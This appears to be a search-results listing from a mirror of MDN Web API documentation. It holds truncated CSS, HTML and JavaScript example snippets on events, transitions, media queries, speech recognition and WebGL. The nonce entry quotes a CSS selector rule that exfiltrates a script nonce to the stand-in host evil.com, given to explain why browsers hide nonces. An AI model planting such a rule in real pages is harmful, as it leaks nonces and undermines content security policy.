background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div class="source"> <p id="source" ondr...
GlobalEventHandlers.onmousedown - Web APIs
html <div class="container"> <div class="view" hidden></div> <img src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> css .container { width: 320px; height: 213px;
background: black; } .view { position: absolute; width: 100px; height: 100px;
background: white; border-radius: 50%; } img { mix-blend-mode: darken; } javascript function showview(event) { view.removeattribute('hidden'); view.style.left = event.clientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; event.preventdefault(); } function moveview(event) { view.style.left = ev...
GlobalEventHandlers.onmousemove - Web APIs
html <p><a href="#" data-tooltip="first link">see a tooltip here …</a></p> <p><a href="#" data-tooltip="second link">… or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px;
background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.setattribute('hidden', ''); document.body.appendchild(node); this.follow = function(event) { node.style.left = event.clientx + 20 + 'px'; node.style.top = event.clienty + 10 + 'px'; }; this.show...
GlobalEventHandlers.onmouseup - Web APIs
html <div class="container"> <div class="toaster"></div> <div class="toast">hello world!</div> </div> css .container { position: absolute; left: 50%; bottom: 20px; transform: translate(-50%); } .toaster { width: 160px; height: 110px;
background: #bbb; border-radius: 10px 10px 0 0; } .toast { position: absolute; left: 50%; top: 50%; z-index: -1; width: 100px; height: 50px; padding: 10px;
background: #ed9; border-radius: 10px 10px 0 0; transform: translate(-50%, -90px); transition: transform .3s; } .depressed { transform: translate(-50%, -50%); } javascript function depress() { toast.classlist.add('depresse...
GlobalEventHandlers.onpointerdown - Web APIs
#target { width: 400px; height: 30px; text-align: center; font: 16px "open sans", "helvetica", sans-serif; color: white;
background-color: blue; border: 2px solid darkblue; cursor: pointer; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } result the resulting output is shown below.
GlobalEventHandlers.ontransitioncancel - Web APIs
.box { margin-left: 70px; margin-top: 30px; border-style: solid; border-width: 1px; display: block; width: 100px; height: 100px;
background-color: #0000ff; color: #ffffff; padding: 20px; font: bold 1.6em "helvetica", "arial", sans-serif; -webkit-transition: width 2s, height 2s,
background-color 2s, -webkit-transform 2s, color 2s; transition: width 2s, height 2s,
background-color 2s, transform 2s, color 2s; } .box:hover {
background-color: #ffcccc; color: #000000; width: 200px; height: 200px; -webkit-transform: ro...
GlobalEventHandlers.ontransitionend - Web APIs
.box { margin-left: 70px; margin-top: 30px; border-style: solid; border-width: 1px; display: block; width: 100px; height: 100px;
background-color: #0000ff; color: #ffffff; padding: 20px; font: bold 1.6em "helvetica", "arial", sans-serif; transition: width 2s, height 2s,
background-color 2s, transform 2s, color 2s; } .box:hover {
background-color: #ffcccc; color: #000000; width: 200px; height: 200px; transform: rotate(180deg); } javascript next, we need to establish our event handlers to change the text content o...
GlobalEventHandlers.onwheel - Web APIs
html <div>scale me with your mouse wheel.</div> css body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 80px; height: 80px;
background: #cdf; padding: 5px; transition: transform .3s; } javascript function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let s...
HTMLElement: transitioncancel event - Web APIs
ead of addeventlistener(): const transition = document.queryselector('.transition'); transition.ontransitioncancel = () => { console.log('transition canceled'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition"></div> <div class="message"></div> .transition { width: 100px; height: 100px;
background: rgba(255,0,0,1); transition-property: transform
background; transition-duration: 2s; transition-delay: 2s; } .transition:hover { transform: rotate(90deg);
background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
HTMLElement: transitionend event - Web APIs
the ontransitionend: const transition = document.queryselector('.transition'); transition.ontransitionend = () => { console.log('transition ended'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px;
background: rgba(255,0,0,1); transition-property: transform
background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg);
background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
HTMLElement: transitionrun event - Web APIs
tener(): el.ontransitionrun = () => { console.log('transition started running, and will start transitioning when the transition delay has expired'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px;
background: rgba(255,0,0,1); transition-property: transform,
background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg);
background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
HTMLElement: transitionstart event - Web APIs
same, but using the ontransitionstart property instead of addeventlistener(): element.ontransitionrun = () => { console.log('started transitioning'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px;
background: rgba(255,0,0,1); transition-property: transform,
background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg);
background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
contentDocument - Web APIs
example of contentdocument var iframedocument = document.getelementsbytagname("iframe")[0].contentdocument; iframedocument.body.style.
backgroundcolor = "blue"; // this would turn the iframe blue.
HTMLIFrameElement.contentWindow - Web APIs
example of contentwindow var x = document.getelementsbytagname("iframe")[0].contentwindow; //x = window.frames[0]; x.document.getelementsbytagname("body")[0].style.
backgroundcolor = "blue"; // this would turn the 1st iframe in document blue.
HTMLImageElement.alt - Web APIs
body { margin: 0; padding: 0; } p { margin-block-start: 0; margin-block-end: 1em; margin-top: 0; margin-bottom: 1em; } .container { width: 100vh; height: 95vh; font: 16px arial,helvetica,sans-serif; } .left-margin {
background-color: rgb(241, 240, 237, 255); width: 9em; height: 100%; float: left; margin-right: 5px; padding-right: 1em; display: flex; align-items: center; justify-content: center; } .left-margin img { width: 6em; } .contents {
background-color: rgb(241, 240, 235, 255); height: 100%; margin-left: 2em; padding-top: 1em; padding-left: 2em; padding-right: 1em; } result ima...
HTMLImageElement.complete - Web APIs
these photos may be very large, so you don't want to wait for them to load, so your code uses async/await to load the images in the
background.
HTMLImageElement.crossOrigin - Web APIs
thanks for reading me.</p> </div> css body { font: 1.125rem/1.5, helvetica, sans-serif; } .container { display: flow-root; width: 37.5em; border: 1px solid #d2d2d2; } img { float: left; padding-right: 1.5em; } output {
background: rgba(100, 100, 100, 0.1); font-family: courier, monospace; width: 95%; } result specifications specification status comment html living standardthe definition of 'htmlimageelement.crossorigin' in that specification.
HTMLImageElement.x - Web APIs
css the css defining the appearance of the table: .group1 {
background-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe defini...
HTMLImageElement.y - Web APIs
css the css defining the appearance of the table: .group1 {
background-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe defini...
HTMLMediaElement.autoplay - Web APIs
note: some browsers offer users the ability to override autoplay in order to prevent disruptive audio or video from playing without permission or in the
background.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] {
background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
Ajax navigation example - Web APIs
g>third_page.php</strong>.</p> <?php include "include/after_content.php"; echo "</body>\n</html>"; } ?> css/style.css: #ajax-loader { position: fixed; display: table; top: 0; left: 0; width: 100%; height: 100%; } #ajax-loader > div { display: table-cell; width: 100%; height: 100%; vertical-align: middle; text-align: center;
background-color: #000000; opacity: 0.65; } include/after_content.php: <p>this is the footer.
Basic concepts - Web APIs
for more information on how the browser handles storing your data in the
background, read browser storage limits and eviction criteria.
KeyboardEvent.code - Web APIs
html <p>use the wasd (zqsd on azerty) keys to move and steer.</p> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" class="world"> <polygon id="spaceship" points="15,0 0,30 30,30"/> </svg> <script>refresh();</script> css .world { margin: 0px; padding: 0px;
background-color: black; width: 400px; height: 400px; } #spaceship { fill: orange; stroke: red; stroke-width: 2px; } javascript the first section of the javascript code establishes some variables we'll be using.
Location - Web APIs
; vertical-align:middle; font-family:georgia; font-size:230%; line-height:1em; white-space:nowrap;} [title] {position:relative; display:inline-block; box-sizing:border-box; /*border-bottom:.5em solid;*/ line-height:2em; cursor:pointer;} [title]:before {content:attr(title); font-family:monospace; position:absolute; top:100%; width:100%; left:50%; margin-left:-50%; font-size:40%; line-height:1.5;
background:black;} [title]:hover:before, :target:before {
background:black; color:yellow;} [title] [title]:before {margin-top:1.5em;} [title] [title] [title]:before {margin-top:3em;} [title]:hover, :target {position:relative; z-index:1; outline:50em solid rgba(255,255,255,.8);} javascript [].foreach.call(document.queryselectorall('[title][id]'), function (node) { node.addeventlistener("click", function...
MediaDevices.ondevicechange - Web APIs
2>video devices:</h2> <ul class="devicelist" id="videolist"></ul> </div> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } h2 { margin-bottom: 4px; } .left { float:left; width: 48%; margin-right: 2% } .right { float:right; width: 48%; margin-left: 2% } .devicelist { border: 1px solid black; list-style-type: none; margin-top: 2px; padding: 6px; } javascript content other code below is other code which, while needed to make this example work, isn'tt related directly to o...
MediaQueryList.addListener() - Web APIs
examples var para = document.queryselector('p'); var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.
backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.
backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'addlistener' in that specificati...
MediaQueryList.removeListener() - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.
backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.
backgroundcolor = 'blue'; } } mql.addlistener(screentest); // later on, when it is no longer needed mql.removelistener(screentest); specifications specification status comment css object m...
MediaQueryList - Web APIs
var para = document.queryselector('p'); var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.
backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.
backgroundcolor = 'blue'; } } mql.addeventlistener('change', screentest); note: you can find this example on github (see the source code, and also see it running live).
MediaQueryListEvent.matches - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.
backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.
backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specification.
MediaQueryListEvent.media - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.
backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.
backgroundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'media'...
MediaQueryListEvent - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.
backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.
backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent' in that spe...
MediaRecorder - Web APIs
etusermedia supported.'); var constraints = { audio: true }; var chunks = []; navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var mediarecorder = new mediarecorder(stream); visualize(stream); record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); console.log("recorder started"); record.style.
background = "red"; record.style.color = "black"; } stop.onclick = function() { mediarecorder.stop(); console.log(mediarecorder.state); console.log("recorder stopped"); record.style.
background = ""; record.style.color = ""; } mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var clipname =...
Recording a media element - Web APIs
<div class="bottom"> <pre id="log"></pre> </div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 2px; border: 1px solid black; } .button { cursor: pointer; display: block; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; text-decoration: none; } h2 { margin-bottom: 4px; } .left { margin-right: 10px; float: left; width: 160px; padding: 0px; } .right { margin-left: 10px; float: left; width: 160px; padding: 0px; } .bottom { clear: both; padding-top: 10px; } javascript content now let's have a look at the javascript code; this is where the majority of the action happen...
MediaTrackSettings - Web APIs
logicalsurface a boolean value which, if true, indicates that the video contained in the stream's video track contains a
background rendering context, rather than a user-visible one.
Capabilities, constraints, and settings - Web APIs
toplay></video> <div class="button" id="stopbutton"> stop video </div> <div id="log"> </div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 150px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } .wrapper { margin-bottom: 10px; width: 600px; } .trackrow { height: 200px; } .leftside { float: left; width: calc(calc(100%/2) - 10px); } .rightside { float: right; width: calc(calc(100%/2) - 10px); } textarea { padding: 8px; } h3 { margin-bottom: 3px; } #supportedconstraints { column-count: 2; -moz-column-count: 2; } #log { padding-top: 10px; }...
MouseEvent.initMouseEvent() - Web APIs
example html <div style="
background:red; width:180px; padding:10px;"> <div id="out"></div> <input type="text"> </div> javascript document.body.onclick = function(){ e = arguments[0]; var dt = e.target,stag = dt.tagname.tolowercase(); document.getelementbyid("out").innerhtml = stag; }; var simulateclick = function(){ var evt = document.createevent("mouseevents"); evt.initmouseevent("click", true, true, window, 0, 0...
MouseEvent.pageX - Web APIs
.box { width: 400px; height: 250px; border: 2px solid darkblue;
background-color: blue; color: white; font: 16px "zilla", "open sans", "helvetica", "arial", sans-serif; } result try this out here: specifications specification status comment css object model (cssom) view modulethe definition of 'pagex' in that specification.
MouseEvent.relatedTarget - Web APIs
html <body id="body"> <div id="outer"> <div id="red"></div> <div id="blue"></div> </div> <p id="log"></p> </body> css #outer { width: 250px; height: 125px; display: flex; } #red { flex-grow: 1;
background: red; } #blue { flex-grow: 1;
background: blue; } #log { max-height: 120px; overflow-y: scroll; } javascript const mouseoutlog = document.getelementbyid('log'), red = document.getelementbyid('red'), blue = document.getelementbyid('blue'); red.addeventlistener('mouseover', overlistener); red.addeventlistener('mouseout', outlistener); blue.addeventlistener('mouseover', over...
Online and offline events - Web APIs
enthtml("beforeend", "event: " + event.type + "; status: " + condition); } window.addeventlistener('online', updateonlinestatus); window.addeventlistener('offline', updateonlinestatus); }); a touch of css #status { position: fixed; width: 100%; font: bold 1em sans-serif; color: #fff; padding: 0.5em; } #log { padding: 2.5em 0.5em 0.5em; font: 1em sans-serif; } .online {
background: green; } .offline {
background: red; } and the corresponding htmlxxx when mochitests for this are created, point to those instead and update this example -nickolay <div id="status"></div> <div id="log"></div> <p>this is a test</p> here's the live result notes if the api isn't implemented in the browser, you can use other signals to detect if you are offline including using service wo...
Node.getRootNode() - Web APIs
parent = document.queryselector('.js-parent'), child = document.queryselector('.js-child'), shadowhost = document.queryselector('.js-shadowhost'); console.log(parent.getrootnode().nodename); // #document console.log(child.getrootnode().nodename); // #document // create a shadowroot var shadowroot = shadowhost.attachshadow({mode:'open'}); shadowroot.innerhtml = '<style>div{
background:#2bb8aa;}</style>' + '<div class="js-shadowchild">content</div>'; var shadowchild = shadowroot.queryselector('.js-shadowchild'); // the default value of composed is false console.log(shadowchild.getrootnode() === shadowroot); // true console.log(shadowchild.getrootnode({composed:false}) === shadowroot); // true console.log(shadowchild.getrootnode({composed:true}).nodename); // #d...
Node.isConnected - Web APIs
m example: // create a shadow root var shadow = this.attachshadow({mode: 'open'}); // create some css to apply to the shadow dom var style = document.createelement('style'); console.log(style.isconnected); // returns false style.textcontent = ` .wrapper { position: relative; } .info { font-size: 0.8rem; width: 200px; display: inline-block; border: 1px solid black; padding: 10px;
background: white; border-radius: 10px; opacity: 0; transition: 0.6s all; positions: absolute; bottom: 20px; left: 10px; z-index: 3 } `; // attach the created style element to the shadow dom shadow.appendchild(style); console.log(style.isconnected); // returns true polyfill node.isconnected can be polyfilled with the following code for ie10 and edgehtml: /* * node.isconnected polyfill fo...
Using the Notifications API - Web APIs
the notifications api lets a web page or app send notifications that are displayed outside the page at the system level; this lets web apps send information to a user even if the application is idle or in the
background.
PaintWorklet.registerPaint - Web APIs
li {
background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworklet.registerpaint' in that specification.
Permissions - Web APIs
safari ios no support nosamsung internet android full support 8.0
background-sync permissionchrome full support 62edge full support 79firefox ?
Range.getBoundingClientRect() - Web APIs
the bounding client rectangle contains everything selected in the range.</p> css #highlight {
background: yellow; position: absolute; z-index: -1; } p { width: 200px; } javascript const range = document.createrange(); range.setstartbefore(document.getelementsbytagname('b').item(0), 0); range.setendafter(document.getelementsbytagname('b').item(1), 0); const clientrect = range.getboundingclientrect(); const highlight = document.getelementbyid('highlight'); highlight.style.left = `${clientrec...
SVGAElement - Web APIs
svgaelement.ping is a domstring that reflects the ping attribute, containing a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the
background).
Using the Screen Capture API - Web APIs
for example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible
background window happens to contain personal information, or if their password manager is visible in the shared stream.
ServiceWorkerRegistration.periodicSync - Web APIs
the periodicsync read-only property of the serviceworkerregistration interface returns a reference to the periodicsyncmanager interface, which manages periodic
background synchronization processes.
ShadowRoot - Web APIs
n update the css found inside it: function updatestyle(elem) { var shadow = elem.shadowroot; var childnodes = shadow.childnodes; for(var i = 0; i < childnodes.length; i++) { if(childnodes[i].nodename === 'style') { childnodes[i].textcontent = 'div {' + 'width: ' + elem.getattribute('l') + 'px;' + 'height: ' + elem.getattribute('l') + 'px;' + '
background-color: ' + elem.getattribute('c') + ';' + '}'; } } } specifications specification status comment domthe definition of 'interface shadowroot' in that specification.
SpeechRecognition.onresult - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'onresult' in that specification.
SpeechRecognition: result event - Web APIs
you can use the result event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('result', function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; }); or use the onresult event handler property: recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specifica...
SpeechRecognitionAlternative.confidence - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; console.log('confidence: ' + event.results[0][0].confidence); } specifications specification status comment web speech apithe definition of 'confidence' in that specification.
SpeechRecognitionAlternative.transcript - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'transcript' in that specification.
SpeechRecognitionAlternative - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionalternative' in that specification.
SpeechRecognitionEvent.emma - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; console.log(event.emma); } ...
SpeechRecognitionEvent.interpretation - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; console.log(event.interpretation); } ...
SpeechRecognitionEvent.resultIndex - Web APIs
examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; console.log(event.resultindex); // returns 0 if there is only one result } specifications specification status comment web speech apithe definition of 'resultindex' in that specification.
SpeechRecognitionEvent.results - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'results' in that specification.
SpeechRecognitionEvent - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionevent' in that specification.
SpeechRecognitionResult.isFinal - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; console.log(event.results[0].isfinal); } specifications specification status comment web speech apithe definition of 'isfinal' in that specification.
SpeechRecognitionResult.item() - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResult.length - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; console.log(event.results[0].length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResult - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresult' in that specification.
SpeechRecognitionResultList.item() - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechRecognitionResultList.length - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; console.log(event.results.length); } specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognitionResultList - Web APIs
// we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognitionresultlist' in that specification.
Storage.getItem() - Web APIs
function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.
backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } note: to see this used within a real world example, see our web storage demo.
Storage - Web APIs
lementbyid('image').value); } function setstyles() { var currentcolor = localstorage.getitem('bgcolor'); var currentfont = localstorage.getitem('font'); var currentimage = localstorage.getitem('image'); document.getelementbyid('bgcolor').value = currentcolor; document.getelementbyid('font').value = currentfont; document.getelementbyid('image').value = currentimage; htmlelem.style.
backgroundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } note: to see this running as a complete working example, see our web storage demo.
StyleSheet.media - Web APIs
example <!doctype html> <html> <head> <link rel="stylesheet" href="document.css" type="text/css" media="screen" /> <style rel="stylesheet" type="text/css" media="screen, print"> body {
background-color: snow; } </style> </head> <body> <script> for (var isheetindex = 0; isheetindex < document.stylesheets.length; isheetindex++) { console.log('document.stylesheets[' + string(isheetindex) + '].media: ' + json.stringify(document.stylesheets[isheetindex].media)); if (isheetindex === 0) document.stylesheets[isheetindex].media.appendmedium('handheld'); if (isheetindex === 1) do...
SyncEvent.tag - Web APIs
specifications specification status comment web
background synchronizationthe definition of 'tag' in that specification.
SyncManager - Web APIs
specifications specification status comment web
background synchronizationthe definition of 'syncmanager' in that specification.
WebGLRenderingContext - Web APIs
<p>compare the two canvases.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : inline-block; width : 120px; height : 80px; margin : auto; padding : 0; border : none;
background-color : black; } window.addeventlistener("load", function() { "use strict" var firstcanvas = document.getelementsbytagname("canvas")[0], secondcanvas = document.getelementsbytagname("canvas")[1]; firstcanvas.width = firstcanvas.clientwidth; firstcanvas.height = firstcanvas.clientheight; [firstcanvas, secondcanvas].foreach(function(canvas) { var gl = canvas.getcontext("webgl") ...
A basic 2D WebGL animation example - Web APIs
awarrays(gl.triangles, 0, vertexcount); window.requestanimationframe(function(currenttime) { let deltaangle = ((currenttime - previoustime) / 1000.0) * degreespersecond; currentangle = (currentangle + deltaangle) % 360; previoustime = currenttime; animatescene(); }); } the first thing that needs to be done in order to draw a frame of the animation is to clear the
background to the desired color.
Basic scissoring - Web APIs
<p>result of of scissoring.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" window.removeeventlistener(evt.type, setupwebgl, false); var paragraph = document.queryselector("p"); var canvas = document.queryselector("canvas"); // the following two lines set the size (in css pixels) of // the drawing buffer to be identical to the size of the // canvas html element, as ...
Boilerplate 1 - Web APIs
]</button> <canvas>your browser does not seem to support html5 canvas.</canvas> css body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } javascript function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = do...
Canvas size and WebGL - Web APIs
<p>compare the two canvases.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : inline-block; width : 120px; height : 80px; margin : auto; padding : 0; border : none;
background-color : black; } window.addeventlistener("load", function() { "use strict" var firstcanvas = document.getelementsbytagname("canvas")[0], secondcanvas = document.getelementsbytagname("canvas")[1]; firstcanvas.width = firstcanvas.clientwidth; firstcanvas.height = firstcanvas.clientheight; [firstcanvas, secondcanvas].foreach(function(canvas) { var gl = canvas.getcontext("webgl") ...
Clearing by clicking - Web APIs
on.</p> <p>you can repeatedly click the empty canvas or the button below to change color.</p> <canvas id="canvas-view">your browser does not seem to support html5 canvas.</canvas> <button id="color-switcher">press here to switch color</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : inline-block; font-size : inherit; margin : auto; padding : 0.6em; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" // cleaning after ourselves.
Color masking - Web APIs
<p>tinting the displayed colors with color masking.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <button id="red-toggle">on</button> <button id="green-toggle">on</button> <button id="blue-toggle">on</button> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none;
background-color : black; } button { display : inline-block; font-family : serif; font-size : inherit; font-weight : 900; color : white; margin : auto; padding : 0.6em 1.2em; } #red-toggle {
background-color : red; } #green-toggle {
background-color : green; } #blue-toggle {
